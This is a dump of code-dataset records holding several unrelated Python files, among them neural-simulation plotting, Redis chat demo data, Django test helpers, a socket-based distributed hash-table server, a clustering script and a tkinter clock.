plt.figure(figsize=(20, 2))\n ax = plt.subplot(1, 1, 1)\n im = plt.imshow(initial.transpose(),\n cmap=cmap, vmin=-max_w, vmax=max_w)\n plt.colorbar(im, ax=ax)\n plt.tight_layout()\n plt.savefig(\"weight_initial_{}.pdf\".format(out_suffix))\n plt.close(fig)\n\n fig = plt.figure(figsize=(20, 2))\n ax = plt.subplot(1, 1, 1)\n im = plt.imshow(final.transpose(),\n cmap=cmap, vmin=-max_w, vmax=max_w)\n plt.colorbar(im, ax=ax)\n plt.tight_layout()\n plt.savefig(\"weight_final_{}.pdf\".format(out_suffix))\n plt.close(fig)\n\n fig = plt.figure(figsize=(20, 2))\n ax = plt.subplot(1, 1, 1)\n im = plt.imshow(difference.transpose(),\n cmap=cmap, vmin=-max_w, vmax=max_w)\n plt.colorbar(im, ax=ax)\n plt.tight_layout()\n plt.savefig(\"weight_difference_{}.pdf\".format(out_suffix))\n plt.close(fig)\n\n\n fig = plt.figure(figsize=(20, 5))\n ax = plt.subplot(3, 1, 1)\n im = plt.imshow(initial.transpose(),\n cmap=cmap, vmin=-max_w, vmax=max_w)\n plt.colorbar(im, ax=ax)\n ax.set_title('Initial')\n\n ax = plt.subplot(3, 1, 2)\n im = plt.imshow(final.transpose(),\n cmap=cmap, vmin=-max_w, vmax=max_w)\n plt.colorbar(im, ax=ax)\n ax.set_title('Final')\n\n ax = plt.subplot(3, 1, 3)\n im = plt.imshow(difference.transpose(),\n cmap=cmap, vmin=-max_w, vmax=max_w)\n plt.colorbar(im, ax=ax)\n ax.set_title('Difference')\n\n plt.tight_layout()\n\n plt.savefig(\"weight_change_{}.pdf\".format(out_suffix))\n # plt.show()\n plt.close(fig)\n\nCMAP = 'nipy_spectral'\n# CMAP = 'gist_stern'\n# CMAP = 'inferno'\n# CMAP = 'magma'\n# CMAP = 'plasma'\n# CMAP = 'ocean'\n\n\ndef plot_vector_distances(vectors, cmap=CMAP, render_colorbar=True):\n n_vectors = len(vectors)\n angles = np.zeros((n_vectors, n_vectors))\n dots = np.zeros((n_vectors, n_vectors))\n weights = np.zeros((n_vectors, n_vectors))\n divs = np.zeros((n_vectors, n_vectors))\n for i in range(n_vectors):\n a = vectors[i]\n na = np.sqrt(np.dot(a, a))\n for j in range(n_vectors):\n b = vectors[j]\n nb = np.sqrt(np.dot(b, b))\n\n dots[i, j] = np.dot(a, b)\n weights[i, j] = (na * nb)\n divs[i, j] = dots[i, j] / weights[i, j]\n angles[i, j] = np.rad2deg( np.arccos( divs[i, j] ) )\n\n angles[np.isclose(divs, 1.0)] = 0.0\n\n\n fig = plt.figure(figsize=(3, 3))\n ax = plt.subplot(1, 1, 1)\n im = plt.imshow(angles, interpolation='none', cmap=cmap, vmin=0, vmax=90)\n\n ticks = np.array([0, np.round(n_vectors/2)-1, n_vectors-1]).astype('int')\n ax.set_xticks(ticks)\n ax.set_yticks(ticks)\n\n ax.set_xticklabels(ticks + 1)\n ax.set_yticklabels(ticks + 1)\n\n if n_vectors > 99:\n tick = ax.xaxis.get_major_ticks()[-1]\n tick.label1.set_horizontalalignment('right')\n\n if render_colorbar:\n div = make_axes_locatable(ax)\n cax = div.append_axes('right', size='5%', pad=0.15)\n cbar = plt.colorbar(im, cax=cax)\n\n return fig, ax\n\n\ndef plot_input_vector_distance(_vectors, out_dir, out_suffix,\n cmap=CMAP, render_colorbar=True):\n fig, ax = plot_vector_distances(_vectors, cmap, render_colorbar=render_colorbar)\n # ax.set_title('Angle between input vectors (deg)')\n fname = os.path.join(out_dir, 'input_vector_distances_{}.pdf'.format(out_suffix))\n plt.tight_layout()\n plt.savefig(fname)\n plt.close(fig)\n\n\ndef plot_input_spikes_distance(_vectors, out_dir, out_suffix,\n cmap=CMAP, render_colorbar=True):\n fig, ax = plot_vector_distances(_vectors, cmap, render_colorbar=render_colorbar)\n # ax.set_title('Angle between input spikes (deg)')\n fname = os.path.join(out_dir, 'noisy_input_spike_distances_{}.pdf'.format(out_suffix))\n plt.tight_layout()\n plt.savefig(fname)\n plt.close(fig)\n\n\ndef plot_kenyon_spikes_distance(_vectors, out_dir, out_suffix,\n cmap=CMAP, render_colorbar=True):\n fig, ax = plot_vector_distances(_vectors, cmap, render_colorbar=render_colorbar)\n # ax.set_title('Angle between kenyon neurons spikes (deg)')\n fname = os.path.join(out_dir, 'kenyon_spike_distances_{}.pdf'.format(out_suffix))\n plt.tight_layout()\n plt.savefig(fname)\n plt.close(fig)\n\n\ndef plot_start_decision_spikes_distance(_vectors, out_dir, out_suffix,\n cmap=CMAP, render_colorbar=True):\n fig, ax = plot_vector_distances(_vectors, cmap, render_colorbar=render_colorbar)\n # ax.set_title('Angle between decision neurons spikes (start; deg)')\n fname = os.path.join(out_dir, 'decision_start_spike_distances_{}.pdf'.format(out_suffix))\n plt.tight_layout()\n plt.savefig(fname)\n plt.close(fig)\n\n\ndef plot_end_decision_spikes_distance(_vectors, out_dir, out_suffix,\n cmap=CMAP, render_colorbar=True):\n fig, ax = plot_vector_distances(_vectors, cmap, render_colorbar=render_colorbar)\n # ax.set_title('Angle between decision neurons spikes (end; deg)')\n fname = os.path.join(out_dir, 'decision_end_spike_distances_{}.pdf'.format(out_suffix))\n plt.tight_layout()\n plt.savefig(fname)\n plt.close(fig)\n\n\n#################################################################################\n#################################################################################\n#################################################################################\n#################################################################################\n#################################################################################\n\n\n\nparser = argparse.ArgumentParser(description='Mushroom body experiment analysis')\nparser.add_argument('filename', type=str, default='', help='filename to analyze')\n\nthis_args = parser.parse_args()\nfname = this_args.filename\nout_suffix = os.path.basename(os.path.normpath(fname))[:-4]\nout_dir = os.path.dirname(os.path.normpath(fname))\nout_fname = os.path.join(out_dir, 'analysis___{}.npz'.format(out_suffix))\nif os.path.isfile(out_fname):\n analysis = np.load(out_fname)\nelse:\n analysis = None\n\ndata = np.load(fname)\nargs = data['args'].item()\nthr = 0.25\n\n#-------------------------------------------------------------------------\n#-------------------------------------------------------------------------\nsys.stdout.write(\"Rendering weights and their difference\\n\")\nsys.stdout.flush()\n\nend_w = data['output_end_weights'].reshape((args.nKC, args.nDN))\nstart_conn = data['output_start_connections']\nstart_w = np.zeros((args.nKC, args.nDN))\nfor row in start_conn:\n pre, post, w, d = row[0], row[1], row[2], row[3]\n start_w[int(pre), int(post)] = w\n\ndiff_w = end_w - start_w\n\nplot_weight_figs(start_w, end_w, diff_w, out_suffix)\n\n#-------------------------------------------------------------------------\n#-------------------------------------------------------------------------\nsys.stdout.write(\"Rendering input vectors distances\\n\")\nsys.stdout.flush()\n\ninput_vecs = data['input_vectors']\nplot_input_vector_distance(input_vecs, out_dir, out_suffix)\n\n\n#-------------------------------------------------------------------------\n#-------------------------------------------------------------------------\n# sys.stdout.write(\"Rendering input spike distances\\n\")\n# sys.stdout.flush()\n#\nin_spikes = data['input_spikes']\ntotal_t = int(data['sim_time'])\nsample_indices = data['sample_indices']\nn_samples = args.nSamplesAL\nn_patterns = args.nPatternsAL\nsize_al = args.nAL\nsample_dt = data['sample_dt']\nin_patterns_union = []\nin_patterns_overlap = []\n# if analysis is None:\n# in_patterns_union, in_patterns_overlap = \\\n# analyse_spike_patterns(in_spikes, input_vecs, sample_indices, total_t,\n# sample_dt)\n# else:\n# in_patterns_union = analysis['in_patterns_union']\n# in_patterns_overlap = analysis['in_patterns_overlap']\n#\n# tmp = (in_patterns_union >= (n_samples * thr)).astype('float')\n# plot_input_spikes_distance(tmp, out_dir, out_suffix)\n\n\n#-------------------------------------------------------------------------\n#-------------------------------------------------------------------------\nsys.stdout.write(\"Rendering kenyon spike distances\\n\")\nsys.stdout.flush()\n\nk_spikes = data['kenyon_spikes']\nif analysis is None:\n k_patterns_union, k_patterns_overlap = \\\n analyse_spike_patterns(k_spikes, input_vecs, sample_indices, total_t,\n sample_dt, do_overlaps=False)\nelse:\n k_patterns_union = analysis['k_patterns_union']\n k_patterns_overlap = analysis['k_patterns_overlap']\n\ntmp = (k_patterns_union >= (n_samples * thr)).astype('float')\nplot_kenyon_spikes_distance(tmp, out_dir, out_suffix)\n\n\n#-------------------------------------------------------------------------\n#-------------------------------------------------------------------------\nsys.stdout.write(\"Rendering decision spike distances\\n\")\nsys.stdout.flush()\n\nd_spikes = data['decision_spikes']\nn_test = data['n_test_samples']\nend_t = n_test * float(data['sample_dt'])\nif analysis is None:\n d_start_patterns_union, d_start_patterns_overlap = \\\n analyse_spike_patterns(d_spikes, input_vecs, sample_indices, end_t,\n sample_dt, do_overlaps=False)\nelse:\n d_start_patterns_union = analysis['d_start_patterns_union']\n d_start_patterns_overlap = analysis['d_start_patterns_overlap']\n\ntmp = (d_start_patterns_union > 0).astype('float')\nplot_start_decision_spikes_distance(tmp, out_dir, out_suffix)\n\nstart_idx = max(0, args.nPatternsAL * args.nSamplesAL - (n_test) )\nstart_t = int(start_idx * float(data['sample_dt']))\nif analysis is None:\n d_end_patterns_union, d_end_patterns_overlap = \\\n analyse_spike_patterns(d_spikes, input_vecs, sample_indices, total_t,\n sample_dt, start_t=start_t, do_overlaps=False)\nelse:\n d_end_patterns_union = analysis['d_end_patterns_union']\n d_end_patterns_overlap = analysis['d_end_patterns_overlap']\n\ntmp = (d_end_patterns_union > 0).astype('float')\nplot_end_decision_spikes_distance(tmp, out_dir, out_suffix, render_colorbar=True)\n\n\n#-------------------------------------------------------------------------\n#-------------------------------------------------------------------------\n\n\nnp.savez_compressed(out_fname,\n in_patterns_union=in_patterns_union,\n in_patterns_overlap=in_patterns_overlap,\n k_patterns_union=k_patterns_union,\n k_patterns_overlap=k_patterns_overlap,\n d_start_patterns_union=d_start_patterns_union,\n d_start_patterns_overlap=d_start_patterns_overlap,\n d_end_patterns_union=d_end_patterns_union,\n d_end_patterns_overlap=d_end_patterns_overlap,\n)","sub_path":"codebase/mushroom_body/mbody_analysis.py","file_name":"mbody_analysis.py","file_ext":"py","file_size_in_byte":17523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"356681746","text":"from chat import utils\nimport redis\nimport math\nimport json\nimport random\nimport time\n\ndemo_users = [\"Pablo\", \"Joe\", \"Mary\", \"Alex\"]\ngreetings = [\"Hello\", \"Hi\", \"Yo\", \"Hola\"]\ndemo_password = \"password123\"\nmessages = [\n \"Hello!\",\n \"Hi, How are you? What about our next meeting?\",\n \"Yeah everything is fine\",\n \"Next meeting tomorrow 10.00AM\",\n \"Wow that's great\",\n]\n\n\ndef math_random():\n return random.uniform(0, 1)\n\n\ndef get_greeting():\n return greetings[math.floor(math_random() * len(greetings))]\n\n\ndef add_message(room_id, from_id, content, timestamp):\n room_key = f\"room:{room_id}\"\n message = {\n \"from\": from_id,\n \"date\": timestamp,\n \"message\": content,\n \"roomId\": room_id,\n }\n # Now the other user sends the greeting to the user\n utils.redis_client.zadd(room_key, {json.dumps(message): int(message[\"date\"])})\n\n\ndef create():\n \"\"\"Create demo data with the default users\"\"\"\n # For each name create a user.\n users = []\n for demo_user in demo_users:\n user = utils.create_user(demo_user, demo_password)\n users.append(user)\n\n rooms = {}\n\n # Once the demo users were created, for each user send messages to other ones.\n for user in users:\n other_users = filter(lambda x: x[\"id\"] != user[\"id\"], users)\n\n for other_user in other_users:\n private_room_id = utils.get_private_room_id(\n int(user[\"id\"]), int(other_user[\"id\"])\n )\n\n if private_room_id not in rooms:\n res = utils.create_private_room(user[\"id\"], other_user[\"id\"])\n room = res[0]\n rooms[private_room_id] = room\n\n add_message(\n private_room_id,\n other_user[\"id\"],\n get_greeting(),\n time.time() - math_random() * 222,\n )\n\n def random_user_id():\n return users[math.floor(len(users) * math_random())][\"id\"]\n\n for key, message in enumerate(messages):\n add_message(\n \"0\", random_user_id(), message, time.time() - ((len(messages) - key) * 200),\n )\n","sub_path":"chat/demo_data.py","file_name":"demo_data.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"181412180","text":"#\n# Source: http://www.djangosnippets.org/snippets/1011/\n#\nfrom django.conf import settings, LazySettings\nfrom django.core.management import call_command\nfrom django.db.models import loading\nfrom django.test import TestCase\n\nfrom css_builder.utils import LOG_FILENAME\n\nNO_SETTING = ('!', None)\n\nclass TestSettingsManager(object):\n \"\"\"\n A class which can modify some Django settings temporarily for a\n test and then revert them to their original values later.\n\n Automatically handles resyncing the DB if INSTALLED_APPS is\n modified.\n\n \"\"\"\n def __init__(self):\n self._original_settings = {}\n\n def remove(self, list):\n for k in list:\n if hasattr(settings, k):\n self._original_settings.setdefault(k, getattr(settings, k))\n try:\n delattr(settings, k)\n except AttributeError:\n delattr(settings._wrapped, k)\n\n def set(self, **kwargs):\n for k,v in kwargs.iteritems():\n self._original_settings.setdefault(k, getattr(settings, k,\n NO_SETTING))\n setattr(settings, k, v)\n if 'INSTALLED_APPS' in kwargs:\n self.syncdb()\n\n def syncdb(self):\n loading.cache.loaded = False\n call_command('syncdb', verbosity=0)\n\n def revert(self):\n for k,v in self._original_settings.iteritems():\n if v == NO_SETTING:\n try:\n delattr(settings, k)\n except AttributeError: \n delattr(settings._wrapped, k)\n else:\n setattr(settings, k, v)\n if 'INSTALLED_APPS' in self._original_settings:\n self.syncdb()\n self._original_settings = {}\n\n\nclass SettingsTestCase(TestCase):\n \"\"\"\n A subclass of the Django TestCase with a settings_manager\n attribute which is an instance of TestSettingsManager.\n\n Comes with a tearDown() method that calls\n self.settings_manager.revert().\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(SettingsTestCase, self).__init__(*args, **kwargs)\n self.settings_manager = TestSettingsManager()\n\n def tearDown(self):\n self.settings_manager.revert()\n\ndef check_last_log(msg):\n \"\"\"\n Check if last message in logging file is msg\n \n Parameters:\n msg \n \n Return:\n bool\n \"\"\"\n f = open(LOG_FILENAME, \"r\")\n last_line = f.readlines()[-1]\n f.close()\n if last_line.find(msg) == -1:\n return False\n else:\n return True","sub_path":"css_builder/tests_utils.py","file_name":"tests_utils.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"141172225","text":"import socket\nimport threading\nfrom hash_table import Hash_Table\nimport queue as Queue\nimport time\nfrom hashlib import md5\nfrom struct import unpack_from\nimport sys\nfrom client import Client\nimport timeit\n\nclass Server(object):\n\tdef __init__(self, port):\n\t\t# Defining available operations with dictionary for easily adding features\n\t\tself.operations = {'get': self.__get,\n\t\t\t\t\t\t 'put': self.__put,\n\t\t\t\t\t\t 'close': self.__quit,\n\t\t\t\t\t\t 'timer': self.__timer}\n\t\tself.server_port = port\n\t\tself.server_ip = socket.gethostbyname(socket.gethostname())\n\t\tself.server_address = ':'.join([self.server_ip, str(self.server_port)])\n\t\tself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.socket.settimeout(2)\n\t\t# self.port = port\n\t\tself.thread_list = []\n\t\tself.mutex = threading.Lock()\n\t\tself.message_queues = {}\n\t\tself.shutdown = False\n\n\n\t\tself.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\n\t\tself.socket.bind((self.server_ip, self.server_port))\n\t\tself.socket.listen(10)\n\n\t\twith open('nodelist.txt', 'r') as f:\n\t\t\tcontent = f.readlines()\n\t\t\tself.node_list = [x.strip() for x in content]\n\n\t\tself.num_nodes = len(self.node_list)\n\t\tself.table_size = 1024\n\t\tself.hash_table = Hash_Table(self.table_size)\n\t\tself.node_links = {}\n\n\n\t\tself.operation_count=0\n\t\tself.start_time = None\n\t\tself.start_flag = 0\n\t\tself.end_time = None\n\t\tself.end_flag = 0\n\n\n\tdef __del__(self):\n\t\t\"\"\"Destructor\"\"\"\n\t\tself.socket.close()\n\n\tdef run(self): # Main Loop\n\t\tprint('Starting Server at {}'.format(self.server_address))\n\t\tprint('Waiting for connection...')\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\t# print('number of connection = ', len(self.message_queues.keys()))\n\t\t\t\tconn, addr = self.socket.accept()\n\t\t\texcept socket.timeout:\n\t\t\t\t# print('socket time out')\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tself.message_queues[conn] = Queue.Queue()\n\t\t\t\tnow_thread = threading.Thread(target=self.tcplink, args=(conn, addr))\n\t\t\t\tself.thread_list.append(now_thread)\n\t\t\t\t\n\t\t\t\t# print(len(self.thread_list))\n\t\t\t\tnow_thread.start()\n\t\t\t\t\n\t\t\t\t# self.thread_list[-1].daemon=True\n\t\t\t\t# self.thread_list[-1].start()\n\n\tdef tcplink(self, conn, addr):\n\t\tprint('new connection from {}'.format(addr))\n\t\tconn.settimeout(3)\n\t\tif self.start_flag == 0:\n\t\t\tself.start_flag = 1\n\t\t\tself.start_time = timeit.default_timer()\n\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\t# print('number of connection = ', len(self.message_queues.keys()))\n\t\t\t\tdata = conn.recv(1024).decode('utf-8')\n\t\t\t\t# time.sleep(0.1)\n\t\t\t\tif not data:\n\t\t\t\t\tif self.end_flag == 1:\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tfor msg in data.strip(';').split(';'):\n\t\t\t\t\t\tprint(msg)\n\t\t\t\t\t\toperate = self.operations.get(msg.split(':')[0], self.__badrequest)\n\t\t\t\t\t\toperate(msg, conn)\n\t\t\texcept socket.error:\n\t\t\t\tif self.end_flag == 1:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tprint('Data Receive Failed')\n\t\t\t\t\tcontinue\n\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\t# self.mutex.acquire()\n\t\t\t\t\tpending_msg = self.message_queues[conn].get_nowait()\n\t\t\t\t\t# self.mutex.release()\n\t\t\t\texcept Queue.Empty:\t\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\t# self.mutex.acquire()\n\t\t\t\t\t# print('sending message in queue')\n\t\t\t\t\tprint(pending_msg)\n\t\t\t\t\tif pending_msg is None:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tconn.send(pending_msg)\n\t\t\t\t\t# print('message in queue sended')\n\t\t\t\t\t# self.mutex.release()\n\t\t\t\t\t# self.mutex.release()\n\t\t\t\t\tif pending_msg == b'CLOSE CONNECTION':\n\t\t\t\t\t\t# time.sleep(5)\n\t\t\t\t\t\tdel self.message_queues[conn]\n\t\t\t\t\t\tconn.close()\n\t\t\t\t\t\tprint('Close connection from %s:%s...' % addr)\n\t\t\t\t\t\t# print('number of connection = ', len(self.message_queues.keys()))\n\t\t\t\t\t\tif len(self.message_queues.keys()) <= 2:\n\t\t\t\t\t\t\tself.end_time = timeit.default_timer()\n\t\t\t\t\t\t\tself.end_flag = 1\n\t\t\t\t\t\t\tprint('Average Throughput = ', self.operation_count/ (self.end_time - self.start_time))\n\t\t\t\t\t\tbreak\n\n\t\t# print('thread end')\n\t\t# \n\t\t# # time.sleep(3)\n\t\t# del self.message_queues[conn]\n\t\t# # # time.sleep(3)\n\t\t# conn.close()\n\t\t# # # [self.node_links[addr].close() for addr in self.node_links.keys()]\n\t\t# return\n\n\tdef send_request(self, message, addr):\n\t\tip, port = addr.split(':')\n\t\tif addr not in self.node_links:\n\t\t\tself.node_links[addr] = Client((ip, int(port)))\n\n\t\treturn self.node_links[addr].request(message.encode('utf-8'))\n\t\t# with Client((ip, int(port))) as client:\n\t\t# \treturn client.request(message.encode('utf-8'))\n\n\tdef __get(self, data, conn):\n\t\t# data_format = get:key\n\t\t_, key = data.split(':')\n\t\ttarget_node = self.__findNode(key) # check which node has the key\n\t\tprint('{} is located on node {}'.format(key, target_node))\n\n\t\t# If the key is stored in this node\n\t\tif self.server_address == self.node_list[target_node]:\n\t\t\tself.mutex.acquire()\n\t\t\t# print('mutex locked')\n\t\t\tvalue = self.hash_table.get(key)\n\t\t\tself.mutex.release()\n\t\t\t# print('mutex released')\n\n\t\t\tif value is not None:\n\t\t\t\tprint('get operation success.')\n\n\t\t\telse:\n\t\t\t\tprint('get operation failed')\n\n\t\t\tresponse = '{}:{}:{}'.format('get', key, str(value)).encode('utf-8')\n\t\t# If the key is in another node, send request to the target node.\n\t\telse:\n\t\t\tresponse = self.send_request(data + ';', self.node_list[target_node])\n\t\t\t# print(response)\n\t\tprint()\n\t\tself.operation_count += 1\n\t\tself.message_queues[conn].put(response)\n\n\tdef __put(self, data, conn):\n\t\t# data_format = put:key:value\n\t\t_, key, value = data.split(':')\n\n\t\ttarget_node = self.__findNode(key) # check which node shoud store the key\n\t\tprint('{} is located on node {}'.format(key, target_node))\n\n\t\t# If the key shoud be stored in this node\n\t\tif self.server_address == self.node_list[target_node]: \n\t\t\tself.mutex.acquire()\n\n\t\t\tsucesses = self.hash_table.put(key, value)\n\t\t\tself.mutex.release()\n\n\t\t\tif sucesses:\n\t\t\t\tprint('put operation success.')\n\t\t\telse:\n\t\t\t\tprint('put operation failed')\n\n\t\t\tresponse = '{}:{}:{}:{}'.format('put', key, value, sucesses).encode('utf-8')\n\t\t# If the key is in another node, send request to the target node.\n\t\telse:\n\t\t\tresponse = self.send_request(data + ';', self.node_list[target_node])\n\t\tprint()\n\t\tself.operation_count += 1\n\t\tself.message_queues[conn].put(response)\n\n\tdef __badrequest(self, data, conn):\n\t\tself.message_queues[conn].put(b'This operation is not supported.')\n\n\tdef __quit(self, data, sock):\n\t\tprint('we are in __quit')\n\t\t# time.sleep(5)\n\t\tself.message_queues[sock].put(b'CLOSE CONNECTION')\n\n\tdef __timer(self, data, sock):\n\t\t# data format = timer:start / timer:stop\n\t\t_, op = data.split(\":\")\n\t\tif op == 'start' and self.start_time == None:\n\t\t\tself.start_time = timeit.default_timer()\n\t\t\tself.message_queues[sock].put(b'Start Timmer')\n\t\telif op == 'stop':\n\t\t\tself.end_time_flag += 1\n\t\t\tprint('end_time_flag=',self.end_time_flag)\n\t\t\tif self.end_flag == 3:\n\t\t\t\tself.end_time = timeit.default_timer()\n\t\t\t\tself.message_queues[sock].put(b'Stop Timmer')\n\t\t\t\tself.end_time_flag = 0\n\t\t\t\tprint('Average Throughput = ', self.operation_count/ (self.end_time - self.start_time) )\n\n\n\tdef __findNode(self, key_str):\n\t# Find the node that stores the key\n\t\ttarget_node = self.__generate_hash(key_str) % self.num_nodes\n\t\treturn target_node\n\n\tdef __generate_hash(self, key_str):\n\t\tmd5_hash = md5(str(key_str).encode('utf-8')).digest()\n\t\thash_key = unpack_from(\">I\", md5_hash)[0]\n\t\treturn hash_key\n\ndef main():\n\t_port = sys.argv[1]\n\tmy_node = Server(port=int(_port))\n\tmy_node.run()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"611638964","text":"from sys import argv\n\ndef read_data(f, features, rids=False):\n \"\"\"\n Expects f to have tsv format.\n Reads a set of features and a label from a file one row at a time.\n rids says to expect the first column to be id numbers.\n \"\"\"\n for line in f: # Implicitly splits rows on \\n\n parts = line.strip().split(\"\\t\") # Splits columns on \\t\n\n if rids:\n rev_id = parts[0]\n parts = parts[1:]\n \n values = parts[:-1] # All but the last column are feature values.\n label = parts[-1] # Last column is a label\n\n feature_values = []\n for feature, value in zip(features, values): \n # Each feature knows its type and will perform the right conversion\n \n if feature.returns == bool:\n # Booleans are weird. bool(\"False\") == True, so you need to string match \"True\"\n feature_values.append(value == \"True\")\n else:\n feature_values.append(feature.returns(value))\n\n row = feature_values[:]\n row.append(label == \"True\")\n if rids:\n row.insert(0, int(rev_id))\n \n yield row\n\n\n\nfrom editquality.feature_lists import enwiki\nimport numpy as np\nfrom sigclust.sigclust import sigclust\n\ndef get_mat(file_name, rids = True):\n \"\"\"\n Reads data in file_name into a np. array.\n When rids == False, assumes all columns of the file from file_name are feature data except for the last colume which is assumed to be labels.\n When rids==True assumes in addition that the first column is rev_ids and returns a *tuple* of that colum of ids together with the usual output np.array\n \"\"\"\n\n f = open(file_name)\n\n rows = list(read_data(f, enwiki.damaging, rids))\n\n mat = np.array(rows).astype(float)\n\n #Last column is the label\n labels = mat[:, -1]\n result = mat[:, :-1]\n\n #if rids then expect first colun to be rev_ids\n if rids:\n rid_col = result[:, 0]\n return rid_col, result[:, 1:], labels\n else:\n return result, labels\n\n\n\"\"\"\n\n Note: currently data_mat is about half zeros.\n\nWhen running sigclust 30 times on normally generated data of size (20, 5) with mc_iters = 1000 and floor = 0, the resulting p values were\n\nOut[6]: \narray([ 0.218, 0.367, 0.656, 0.34 , 0.014, 0.208, 0.526, 0.791,\n 0.662, 0.645, 0.128, 0.607, 0.23 , 0.796, 0.449, 0.889,\n 0.68 , 0.499, 0.233, 0.004])\n\nIn [7]:\n\"\"\"\ndef sig_test1(shape, iters = 20):\n result = np.zeros(iters)\n for i in np.arange(iters):\n X = np.random.rand(shape[0], shape[1])\n p = sigclust(X, verbose = False)[0]\n result[i] = p\n return result\n \n\n\"\"\"Note: \nRunning sig_test((20, 5), 30) gives\n\narray([ 0.79 , 0.705, 0.155, 0.53 , 0.08 , 0.235, 0.625, 0.03 ,\n 0.555, 0.765, 0.2 , 0.23 , 0.545, 0.685, 0.635, 0.815,\n 0.795, 0.815, 0.575, 0.07 , 0.685, 0.3 , 0.875, 0.385,\n 0.74 , 0.955, 0.395, 0.195, 0.13 , 0.69 ])\n\nRunning sig_test(data.shape, 30) (where data is the get_mat(\"enwiki_data/data1.tsv\"))\n\nruns too slowly, but the ci in the first iteration is .983370 and the simulated cis are all around .9847 suggesting a first p-value of 0.\n\n\"\"\"\n\ndef RSC(file, rids=True, verbose = True, scale = False):\n rid_col, X = get_mat(file, rids = rids)\n while(True):\n p, clust = sigclust(X, verbose = verbose, scale = scale)\n print(\"p-value: %f\" % p)\n\n s = sum(clust)\n n_samps = X.shape[0]\n print(\"The clusters have sizes %d, %d\" %\n (n_samps - s, s))\n in0 = input(\"Remove all points in smallest cluster and re-run sigclust? (Enter 'n' to terminate.):\")\n \n if in0 is 'n':\n break\n\n \n sec_small = s < (n_samps / 2)\n print(\"Removing %s cluster (of size %d).\" %\n (\"SECOND\" if sec_small else \"FIRST\",\n s if sec_small else n_samps - s))\n \n \n\n f_clust = clust.astype(bool)\n if sec_small:\n to_remove = np.where(f_clust)[0]\n else:\n to_remove = np.where(~f_clust)[0]\n print(\"Now removing samples with the following indices:\")\n print(to_remove)\n print(\"These samples correspond to the following rev ids:\")\n rem_rids = rid_col[to_remove]\n \n print(rem_rids)\n \n X = np.delete(X, to_remove, axis = 0)\n","sub_path":"enwiki_data/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"479501166","text":"from tkinter import *\r\nfrom tkinter.ttk import *\r\nfrom time import strftime\r\nbase = Tk()\r\nbase.title(\"Clock\")\r\n\r\ndef time():\r\n string = strftime('%H:%M:%S %p')\r\n label.config(text=string)\r\n label.after(1000,time)\r\n\r\nlabel = Label(base, font=(\"ds-digital\",80), background = \"black\", foreground = \"blue\")\r\nlabel.pack(anchor='center')\r\ntime()\r\nmainloop() ","sub_path":"clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"353678096","text":"import logging\nimport threading\nimport time\n\nfrom octopus.comm.collector import Collector\nfrom octopus.settings import ALIVE\n\nLOG = logging.getLogger('octopus')\n\n\nclass ReadThread(threading.Thread):\n \"\"\"\n Read process\n \"\"\"\n\n def __init__(self, process_queue, collection_dict, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.process_queue = process_queue\n self.collection_dict: dict = collection_dict\n self.lines_collected = 0\n self.lines_dropped = 0\n self.dedupinterval = 300\n self.evictinterval = 600\n self.deduponlyzero = False\n self.ns_prefix = \"\"\n\n def all_living_collectors(self):\n \"\"\"Generator to return all defined collectors that have\n an active process.\"\"\"\n\n for col in self.collection_dict.values():\n if col.proc is not None:\n yield col\n\n def run(self):\n \"\"\"Main loop for this thread. Just reads from collectors,\n does our input processing and de-duping, and puts the data\n into the queue.\"\"\"\n\n LOG.debug(\"ReaderThread up and running\")\n\n last_evict_time = 0\n # we loop every second for now. ideally we'll setup some\n # select or other thing to wait for input on our children,\n # while breaking out every once in a while to setup selects\n # on new children.\n while ALIVE:\n for col in self.all_living_collectors():\n for line in col.collect():\n if line:\n self.process_line(col, line)\n\n if self.dedupinterval != 0: # if 0 we do not use dedup\n now = int(time.time())\n if now - last_evict_time > self.evictinterval:\n last_evict_time = now\n now -= self.evictinterval\n for col in self.collection_dict.values():\n col.evict_old_keys(now)\n\n # and here is the loop that we really should get rid of, this\n # just prevents us from spinning right now\n time.sleep(0.1)\n\n def process_line(self, col: Collector, line):\n \"\"\"Parses the given line and appends the result to the reader queue.\n 处理数据并添加到阅读队列\n \"\"\"\n col.lines_sent += 1\n self.process_queue.put_queue(col.name, line)\n if not self.process_queue.put_queue(col.name, line):\n self.lines_dropped += 1\n","sub_path":"octopus/thread/thread_read.py","file_name":"thread_read.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"6602499","text":"n = int(input())\ngraph = [list(map(int, input().split(\" \"))) for _ in range(n)]\ncurMin = 10000000\ncheck = [False] * n\n\n\ndef recursive(index, count1, count2, sum1, sum2):\n global curMin\n if index == n:\n if count1 == count2:\n curMin = min(curMin, abs(sum1 - sum2))\n return\n # true : 1, 2\n # false : 0\n check[index] = 